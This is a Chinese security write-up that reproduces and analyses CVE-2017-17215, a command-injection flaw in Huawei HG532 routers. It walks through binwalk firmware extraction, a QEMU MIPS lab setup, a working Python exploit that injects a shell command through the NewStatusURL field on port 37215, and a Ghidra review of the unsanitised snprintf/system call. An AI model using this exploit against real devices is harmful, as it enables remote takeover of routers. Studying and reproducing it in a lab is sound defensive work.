漏洞简述

Huawei HG532系列路由器是一款为家庭和小型办公用户打造的无线路由器产品。2017年11月,Check Point发布安全预警CPAI-2017-1016,报告了华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)。认证后的攻击者可以向设备37215端口发送恶意报文发起攻击,成功利用漏洞可以远程执行任意代码。

环境搭建

首先安装binwalk固件分析工具

注:部分资料显示,通过apt install binwalk命令安装的binwalk可能存在插件缺失,故此处通过官方github仓库源码进行手动安装

    gitclone https://github.com/devttys0/binwalkcdbinwalksudopython3 setup.py installsudo./deps.sh

    等待安装完成即可

    binwalk安装完成后,下载存在漏洞的路由器固件

      https://ia801309.us.archive.org/15/items/RouterHG532e/router%20HG532e.rar

      将下载的rar文件解压得到bin文件

      使用binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin --run-as=root命令解压固件

      若分析解压成功

      通过tree _HG532eV100R001C01B020_upgrade_packet.bin.extracted -L 2命令即可看到如下的固件系统文件架构

      接下来进行qemu虚拟机的构建

        #下载qemu虚拟机sudo apt-getinstall qemusudo apt-getinstall qemu binfmt-support qemu-user-static#下载镜像wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta#配置网络,创建网桥sudo apt-getinstall bridge-utilssudo brctl addbr Virbr0sudo ifconfig Virbr0192.168.10.1/24 up#创建tap接口,添加到网桥sudo aptinstall uml-utilitiessudo tunctl -t tap0sudo ifconfig tap0192.168.10.11/24 upsudo brctl addif Virbr0 tap0#启动qemu虚拟机aptinstall qemu-system-mipssudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append"root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

        此时输入账号root,密码root,即可进入虚拟机

        在虚拟机中执行如下命令进行网络配置

          ifconfig eth0192.168.10.2/24 upping192.168.10.1 -c10

          然后另起一个会话窗口回到宿主机中执行下面的命令,将解压固件得到的文件系统拷贝到虚拟机中

            scp -r squashfs-root/ root@192.168.10.2:~/

            然后在虚拟机中执行如下的文件系统挂载命令

              mount-o bind /dev ./squashfs-root/devmount-t proc /proc ./squashfs-root/proc

              然后回到宿主机中另起一个窗口连接qemu虚拟机并启动路由器程序

                sshroot@192.168.10.2chroot squashfs-root /bin/sh./bin/upnp./bin/mic

                此时qemu虚拟机中的ip将会被改变,回到刚才的虚拟机窗口中执行如下的命令修改即可

                  ifconfig eth0192.168.10.2/24 upifconfig br0192.168.10.11/24 up

                  最后使用宿主机的浏览器访问https://192.168.10.2/即可看到路由器登录界面

                  漏洞复现

                  该漏洞的利用脚本代码如下

                    import requestsheaders = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}data = """;mkdir /sltest;HUAWEIUPNP"""response = requests.post("http://192.168.10.2:37215/ctrlt/DeviceUpgrade_1",headers=headers,data=data) print(response)

                    上述示例是在文件系统根目录下创建一个sltest文件夹

                    执行python3 hg532_exp.py命令运行该脚本,可以看到返回了200状态码

                    此时在qemu虚拟机的~/squashfs-root目录下可以看到sltest文件夹被成功创建,漏洞复现成功

                    漏洞分析

                    通过上述漏洞利用脚本不难发现,该漏洞所利用的服务端口为32715,存在漏洞的接口为/ctrlt/DeviceUpgrade_1,存在漏洞的参数为NewStatusURL

                    接下来可以在binwalk解压得到的/squashfs-root目录中搜索32715、DeviceUpgrade_1、NewStatusURL、NewDownloadURL关键字,看看哪个文件调用了这些存在漏洞的关键点

                      grep -r37215grep -r DeviceUpgrade_1grep -r NewStatusURL

                      可以发现,上述漏洞应和bin/upnp、bin/mic有关

                      接下来启动Ghidra,创建一个项目,然后将bin/upnp文件导入分析

                      在Ghidra分析窗口中搜索NewStatusURL关键字,得到唯一结果

                      按住ctrl点击相应函数名即可定位到伪代码位置

                        intFUN_0040749c(int param_1){int iVar1;int local_418;int local_414;char acStack_410 [1028]; iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 +0x2c),"NewDownloadURL",0,&local_418 );if (((iVar1 ==0) && (local_418 !=0)) && (iVar1 = ATP_XML_GetChildNodeByName (*(undefined4 *)(param_1 +0x2c),"NewStatusURL",0,&local_414), iVar1 ==0) ) {if (local_414 !=0) {snprintf(acStack_410,0x400,"upg -g -U %s -t \\"1 Firmware Upgrade Image\\" -c upnp -r %s -d -b" , local_418,local_414); system(acStack_410); } }return iVar1;}

                        可以发现,在18行处通过system函数执行系统命令,而system函数输入的参数名为acStack_410,acStack_410则来源于snprintf函数。而在snprintf函数中,直接通过%s去拼接接收到的local_418、local_414参数,未经过任何处理。而local_418、local_414参数对应的就是xml中的NewDownloadURL、NewStatusURL节点的内容,形成了漏洞。

                        声明:本文来自第59号,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。